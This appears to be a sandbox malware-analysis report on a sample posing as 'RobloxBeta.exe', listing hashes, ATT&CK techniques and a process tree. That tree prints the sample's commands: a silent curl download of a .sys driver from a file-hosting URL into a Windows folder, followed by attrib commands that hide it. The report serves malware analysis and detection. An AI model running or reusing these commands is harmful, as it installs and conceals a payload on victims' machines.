e97ae04496b65d51e17302d6e77de2a221620a89fae7a4029f2e20b278cd472a

Analysis

user interaction
yes
max time kernel
77s
max time network
78s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/05/2026, 15:54

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General

Target
RobloxBeta.exe
Size 1.4MB
Sample260505-tcatdaft5n
SHA256 e97ae04496b65d51e17302d6e77de2a221620a89fae7a4029f2e20b278cd472a
MD5 2aa7e4e4bebb469a4abba663d5ff964a
SHA1 a857bd913650801a70a7fa1b8f12bf1bc47feeaf
SHA512 01d67f133612cf0af8f61af5bd900c2bc749b33cfeacf72dfb76e80cb49dd0ff7c9bbc60f706922eceacb19c63b5fdf5bb5280682ad6d03c13fb194ba9af2ce7
SSDEEP 24576:4Q8zTyoxKcsoNtLPf2gGX9xjiAzi2n2sLVoeL/Ts7gSWrmaD238Eu/xPHEatpmm:GyoxKgGgGX9xjZu2nNLuk/ggjf1Er
TLSH
T1EF659EA2F3EC5586E02774389B45690FA23570280310A7E77F99095D8BBEDE0CB7EB51
MD5 SHA1 SHA512 SSDEEP TLSH

Score

5^/10

defense_evasion discovery

Malware Config

Signatures

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4664	cmd.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Fonts\fa-solid-900.ttf	RobloxBeta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
4304	RobloxBeta.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
312	AcroRd32.exe
5360	AcroRd32.exe
312	AcroRd32.exe
5068	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4304 wrote to memory of 4224	4304	RobloxBeta.exe	86
PID 4304 wrote to memory of 4460	4304	RobloxBeta.exe	87
PID 4304 wrote to memory of 4492	4304	RobloxBeta.exe	88
PID 4492 wrote to memory of 4356	4492	cmd.exe	89
PID 4304 wrote to memory of 4664	4304	RobloxBeta.exe	95
PID 4664 wrote to memory of 2260	4664	cmd.exe	96
PID 4304 wrote to memory of 1172	4304	RobloxBeta.exe	97

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2260	attrib.exe

C:\Users\Admin\AppData\Local\Temp\RobloxBeta.exe
"C:\Users\Admin\AppData\Local\Temp\RobloxBeta.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of WriteProcessMemory
PID:4304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/4jdffy.sys --output C:\Windows\Branding\Basebrd\PhQGHuME.sys >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/4jdffy.sys --output C:\Windows\Branding\Basebrd\PhQGHuME.sys
    3⤵
    PID:4356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib +h +s C:\Windows\Branding\Basebrd\PhQGHuME.sys >nul 2>&1
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\system32\attrib.exe
    attrib +h +s C:\Windows\Branding\Basebrd\PhQGHuME.sys
    3⤵
    - Views/modifies file attributes
    PID:2260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1172

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"
1⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
PID:312

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"
1⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
PID:5360

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"
1⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
PID:5068

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4304-3-0x00007FF611ED0000-0x00007FF61203E000-memory.dmp

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memory/4304-4-0x000002BCF5FB0000-0x000002BCF605C000-memory.dmp

Download

memory/4304-7-0x00007FF611ED0000-0x00007FF61203E000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads